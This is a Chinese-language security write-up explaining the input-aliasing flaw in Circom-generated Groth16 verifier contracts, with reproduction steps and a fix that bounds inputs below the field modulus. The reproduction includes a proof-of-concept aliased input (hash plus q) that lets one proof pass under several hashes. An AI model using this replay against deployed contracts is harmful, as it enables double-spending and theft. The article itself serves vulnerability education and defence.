作者:查找币安全团队
概述
零知识证明(ZKP)技术作为Web3安全领域的重要基石,其实现方案的安全性直接影响着整个生态系统的信任基础。近日,查找币安全团队在技术研究中发现,Circom框架生成的验证合约存在一个经典的“输入假名”漏洞,该漏洞最早由俄罗斯开发者poma在Semaphore项目中披露(相关Issue)。本文将从技术原理出发,详细解析该漏洞的成因、复现过程及修复方案,为开发者提供实践性安全指导。
前置知识:Circom与ZKP验证机制
零知识证明核心流程
零知识证明系统的核心是“证明系统”算法,其工作流程可概括为:
- 证明生成:证明者通过电路计算,生成见证数据(witness)和证明数据(proof)
- 链上验证:验证合约(verifier.sol)对提交的proof进行椭圆曲线校验
- 结果确认:验证通过即证明消息的真实性,无需暴露原始数据
Circom的技术特点
Circom作为主流的ZKP开发框架,支持Groth16和PlonK两种证明系统。其优势在于:
- 自动化参数生成:开发者无需手动配置证明参数
- 合约自动部署:框架自动生成兼容Solidity的验证合约
- 隐私保护:验证过程不泄露任何输入信息
漏洞深度解析
1. 问题代码定位
漏洞核心存在于验证合约中的verifyHash函数。如下图所示,该函数通过记录见证数据的哈希值(hash1)来防止双花攻击。然而,漏洞恰恰出现在这个hash1的匹配机制上。
// 问题代码示意
function verifyHash(uint[] memory input, Proof memory proof) public returns (bool) {
uint hash1 = input[0];
require(!usedHashes[hash1], "Hash already used");
usedHashes[hash1] = true;
// ... 后续验证逻辑
}
按照正常设计,一组proof数据应仅对应唯一一个hash1进行验证。但实际代码中,这个假设并不成立。
2. 椭圆曲线校验机制
verify函数的核心逻辑是通过scalar_mul()函数实现椭圆曲线上的标量乘法。具体流程如下:
- 接收输入数组
input和证明结构体Proof memory proof - 对输入参数进行椭圆曲线计算
- 比较计算结果与证明中的给定值是否相等
- 若相等则验证通过
3. 输入假名(Input Aliasing)漏洞原理
在Solidity智能合约中,所有数值以uint256类型存储。然而,椭圆曲线运算涉及有限域Fq,其模数q远小于uint256的最大值。这意味着:
- 数值
s和s + q在模运算后映射到相同的Fq值 - 同样地,
s + 2q、s + 3q等也对应同一个域元素 - 这种现象称为“输入假名”(Input Aliasing)
关键数据:在uint256范围内,最多有uint256_max / q个不同的整数可表示同一个点。对于常见的椭圆曲线,这个值约为5。这意味着同一组proof最多可以有5个不同的hash1通过合约验证。
漏洞复现过程
步骤1:构建简单电路
设计一个接收2个输入数据、返回1个见证数据的电路:
pragma circom 2.0.0;
template SimpleCircuit() {
signal input a;
signal input b;
signal output hash1;
hash1 <== a + b;
}
component main = SimpleCircuit();
步骤2:生成验证材料
执行以下命令生成所需文件:
# 编译电路
circom circuit.circom --r1cs --wasm --sym
# 生成zkey文件
snarkjs groth16 setup circuit.r1cs pot12_final.ptau circuit_final.zkey
# 导出验证合约
snarkjs zkey export solidityverifier circuit_final.zkey verifier.sol
步骤3:生成正常proof
// 生成正常证明
const { proof, publicSignals } = await snarkjs.groth16.fullProve(
{ a: 10, b: 20 },
"circuit.wasm",
"circuit_final.zkey"
);
// hash1 = 30
步骤4:构造攻击hash
// 构造假名hash
const q = 21888242871839275222246405745257275088548364400416034343698204186575808495617n;
const attackHash = 30n + q; // 与正常hash映射到相同Fq值
步骤5:验证结果
部署合约后,分别使用正常hash和攻击hash进行验证:
- 正常验证:使用hash1=30,验证通过 ✅
- 攻击验证:使用attackHash=30+q,验证同样通过 ✅
复现结论:同一组proof可以对应多个不同的hash值通过合约验证,输入假名漏洞确认存在。
漏洞修复方案
根本原因
漏洞本质在于:一组proof最多可以有5个不同的hash通过合约验证,这为双花攻击提供了可能性。
修复方法
限制所有输入的hash值必须小于有限域阶数q:
function verify(uint[] memory input, Proof memory proof) public returns (bool) {
uint q = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
for (uint i = 0; i < input.length; i++) {
require(input[i] < q, "Input exceeds field modulus");
}
// ... 原有验证逻辑
}
安全建议
- 验证域阶数:所有输入数值必须小于有限域阶数q
- 使用安全库:优先采用经过审计的密码学库
- 单元测试覆盖:包含边界值测试(如q-1、q、q+1)
- 代码审计:定期进行专业安全审计
总结
输入假名漏洞是零知识证明和密码学实现中的经典问题,其本质源于有限域运算的模数特性。开发者在进行密码学相关开发时,必须高度重视验证群的阶数约束。本案例再次证明,即使是在成熟的ZKP框架中,细微的实现疏忽也可能导致严重的安全漏洞。
查找币安全团队将持续关注ZKP生态的安全动态,为Web3开发者提供专业的技术支持与安全指南。
本文由查找币安全团队整理发布